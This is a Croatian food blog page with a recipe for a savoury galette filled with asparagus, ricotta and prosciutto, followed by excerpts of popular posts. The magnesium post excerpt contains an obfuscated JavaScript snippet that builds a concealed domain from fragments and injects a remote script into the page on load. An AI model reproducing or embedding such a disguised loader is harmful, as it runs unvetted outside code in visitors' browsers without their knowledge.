SLANA GALETTA SA ŠPAROGAMA, SIROM I PRŠUTOM





Slana galetta sa šparogama, sirom i pršutom 




Za razliku od klasičnih pita koje traže savršeno oblikovanje i precizne rubove, galette francuske, rustikalne pite slave nesavršenost. Njihov zaštitni znak su nepravilno presavijeni rubovi, okrugli oblik i bogata voćna punjenja. No ovog puta, zašto ih ne bismo punili slanim sastojcima?





Slana galetta sa šparogama, sirom i pršutom 


Sastojci:

Sastojci za tijesto:

  • 250 g glatkog brašna
  • 125 g hladnog maslaca
  • 1/2 žličice soli
  • 4 do 5 žlica ledene vode

Za nadjev:

  • 300 g zelenih šparoga
  • 200 g ricotte
  • 100 g krem sira
  • 80 g tanko narezanog pršuta
  • 50 g naribanog parmezana
  • 1 češanj češnjaka
  • korica pola limuna
  • svježe mljeveni papar
  • malo maslinovog ulja

Za premazivanje:

  • 1 jaje
  • 1 žlica mlijeka




Priprema:

  • Najprije pripremite tijesto. U većoj zdjeli pomiješajte brašno i sol pa dodajte na kockice narezan hladni maslac. Prstima ili rezačem za tijesto utrljajte maslac dok ne dobijete teksturu grubih mrvica. Dodajte ledenu vodu i brzo zamijesite kompaktno tijesto.
    Oblikujte disk, zamotajte ga u prozirnu foliju i ostavite u hladnjaku najmanje 30 minuta.
  • Dok se tijesto hladi, pripremite nadjev. Šparogama odstranite tvrde donje dijelove i kratko ih blanširajte dvije minute u kipućoj vodi. Odmah ih prebacite u ledenu vodu kako bi zadržale lijepu zelenu boju.
  • U zdjeli pomiješajte ricottu, krem sir, parmezan, sitno nasjeckani češnjak, limunovu koricu i malo papra.
  • Ohlađeno tijesto razvaljajte u krug promjera približno 30 centimetara i prebacite na lim obložen papirom za pečenje.
  • Po sredini rasporedite sirni nadjev ostavljajući oko četiri do pet centimetara slobodnog ruba. Preko nadjeva složite šparoge, a zatim rasporedite komadiće pršuta.
  • Rubove tijesta nježno preklopite prema unutra preko dijela nadjeva kako biste dobili karakterističan rustikalni izgled galette.
  • Jaje umutite s mlijekom pa tom smjesom premažite rubove tijesta. Lagano pokapajte nadjev maslinovim uljem.
  • Pecite u prethodno zagrijanoj pećnici na 200 stupnjeva oko 35 do 40 minuta, odnosno dok tijesto ne postane zlatno i hrskavo.
  • Nakon pečenja ostavite galette desetak minuta da se lagano ohladi. Prije posluživanja možete dodati još malo parmezana, nekoliko kapi maslinovog ulja ili svježe začinsko bilje poput timijana ili bosiljka.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više